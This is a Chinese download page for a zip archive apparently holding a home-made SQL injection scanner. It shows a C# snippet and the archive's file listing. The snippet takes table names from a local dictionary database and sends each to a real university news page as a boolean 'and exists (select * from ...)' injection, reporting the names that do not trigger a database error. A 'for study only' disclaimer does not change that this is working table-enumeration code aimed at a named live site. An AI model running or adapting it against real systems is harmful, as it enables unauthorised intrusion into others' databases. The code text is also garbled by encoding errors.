-
大小: 279KB文件類型: .zip金幣: 2下載: 0 次發(fā)布日期: 2021-05-19
- 語言: 數(shù)據(jù)庫
- 標(biāo)簽: SQL注入??injection??漏洞檢測??掃描工具??
資源簡介
在CSDN上沒有找到,所以將別處下載的上傳過來,必須免費(fèi)分享!
包括兩個程序,代碼尚未調(diào)試,希望有所借鑒。
代碼僅供學(xué)習(xí)交流,切勿行危害安全之事,務(wù)必遵守法律法規(guī)!

代碼片段和文件信息
using?System;
using?System.Collections.Generic;
using?System.Text;
using?System.Net;
using?System.Web;
using?System.IO;
using?System.Data;
using?System.Data.OleDb;
namespace?ConsoleApplication1
{
????class?Program
????{
????????static?void?Main(string[]?args)
????????{
????????????//////////////////////////////////////
????????????string?strconnection?=?“provider=microsoft.jet.oledb.4.0;“;
????????????strconnection?+=?@“data?source=e:\\D99.mdb“;
????????????OleDbConnection?objconnection?=?new?OleDbConnection(strconnection);
????????????objconnection.Open();
????????????
????????????/////////////////////////////////////////////////////////
????????????try
????????????{
????????????????WebClient?MyWebClient?=?new?WebClient();
????????????????MyWebClient.Credentials?=?CredentialCache.DefaultCredentials;//獲取或設(shè)置用于對向Internet資源的請求進(jìn)行身份驗(yàn)證的網(wǎng)絡(luò)憑據(jù)。
????????????????///////////////////////
????????????????//建立SQL查詢
????????????????OleDbCommand?odCommand?=?objconnection.CreateCommand();
????????????????//3、輸入查詢語句
????????????????odCommand.CommandText?=?“select?distinct?表段名?from?表段“;
????????????????//建立讀取
????????????????OleDbDataReader?odrReader?=?odCommand.ExecuteReader();
????????????????//查詢并顯示數(shù)據(jù)
????????????????while?(odrReader.Read())
????????????????{
???????????????????//?Console.WriteLine(odrReader[“表段名“].ToString());
????????????????????Byte[]?pageData?=?MyWebClient.DownloadData(“http://jwc.bupt.edu.cn/news.asp?id=273?and?exists?(select?*?from[“?+?odrReader[“表段名“].ToString()?+?“])“);//從指定網(wǎng)站下載數(shù)據(jù)
????????????????????string?pageHtml?=?Encoding.Default.GetString(pageData);??//如果獲取網(wǎng)站頁面采用的是GB2312,則使用這句?????????????
????????????????????//string?pageHtml?=?Encoding.UTF8.GetString(pageData);?//如果獲取網(wǎng)站頁面采用的是UTF-8,則使用這句
????????????????????//Console.WriteLine(pageHtml);//在控制臺輸入獲取的內(nèi)容
????????????????????if?(!pageHtml.Contains(“數(shù)據(jù)庫出錯“))
????????????????????????Console.WriteLine(odrReader[“表段名“].ToString());
????????????????????//顯示取出值(具體顯示方式可由自己定義)
??????????????????//??tbValue.Text?+=?“\r\t“;
??????????????????//??tbValue.Text?+=?odrReader[“CustomerID“].ToString().PadRight(10?‘?‘);
?????????????????//???tbValue.Text?+=?odrReader[“CustomerID“].ToString();
????????????????}
????????????????///////////////////////
????????????????
??????????????//??Response.Write(pageHtml);
????????????????//using?(StreamWriter?sw?=?new?StreamWriter(“c:\\test\\ouput.html“))//將獲取的內(nèi)容寫入文本
????????????????//{
????????????????//????sw.Write(pageHtml);
????????????????//}
????????????????Console.ReadLine();?//讓控制臺暫停否則一閃而過了
????????????????odrReader.Close();
????????????}
????????????catch?(WebException?webEx)
????????????{
????????????????Console.WriteLine(webEx.Message.ToString());
????????????}
????????????
????????????objconnection.Close();?
????????}
????}
}
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2012-12-19?22:06??自己動手編寫SQL注入漏洞掃描工具\(yùn)
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\
?????文件?????????895??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp.sln
?????文件???????11264??2010-05-07?11:23??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp.suo
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\
?????目錄???????????0??2010-05-07?11:23??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\Debug\
?????文件????????5632??2005-09-23?06:56??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\Debug\ConsoleApplication1.vshost.exe
?????文件???????16384??2010-05-07?11:23??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\Debug\pp.exe
?????文件???????11776??2010-05-07?11:23??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\Debug\pp.pdb
?????文件????????5632??2005-09-23?06:56??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\Debug\pp.vshost.exe
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\Release\
?????文件???????16384??2010-05-07?11:16??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\Release\ConsoleApplication1.exe
?????文件???????13824??2010-05-07?11:16??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\bin\Release\ConsoleApplication1.pdb
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\
?????目錄???????????0??2010-05-07?11:23??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\Debug\
?????文件???????16384??2010-05-07?11:23??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\Debug\pp.exe
?????文件???????11776??2010-05-07?11:23??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\Debug\pp.pdb
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\Debug\TempPE\
?????文件?????????306??2010-05-07?11:23??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\pp.csproj.FileList.txt
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\Release\
?????文件???????16384??2010-05-07?11:16??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\Release\ConsoleApplication1.exe
?????文件???????13824??2010-05-07?11:16??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\Release\ConsoleApplication1.pdb
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\obj\Release\TempPE\
?????文件????????1955??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\pp.csproj
?????文件?????????168??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\pp.csproj.user
?????文件????????3025??2010-05-07?11:19??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\Program.cs
?????目錄???????????0??2010-05-07?11:22??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\Properties\
?????文件????????1290??2010-05-07?10:38??自己動手編寫SQL注入漏洞掃描工具\(yùn)pp\pp\Properties\AssemblyInfo.cs
?????目錄???????????0??2010-03-29?17:20??自己動手編寫SQL注入漏洞掃描工具\(yùn)WebInjectionScanner_v3.0\
?????目錄???????????0??2010-03-29?17:20??自己動手編寫SQL注入漏洞掃描工具\(yùn)WebInjectionScanner_v3.0\html報告模版\
............此處省略73個文件信息
評論
共有 條評論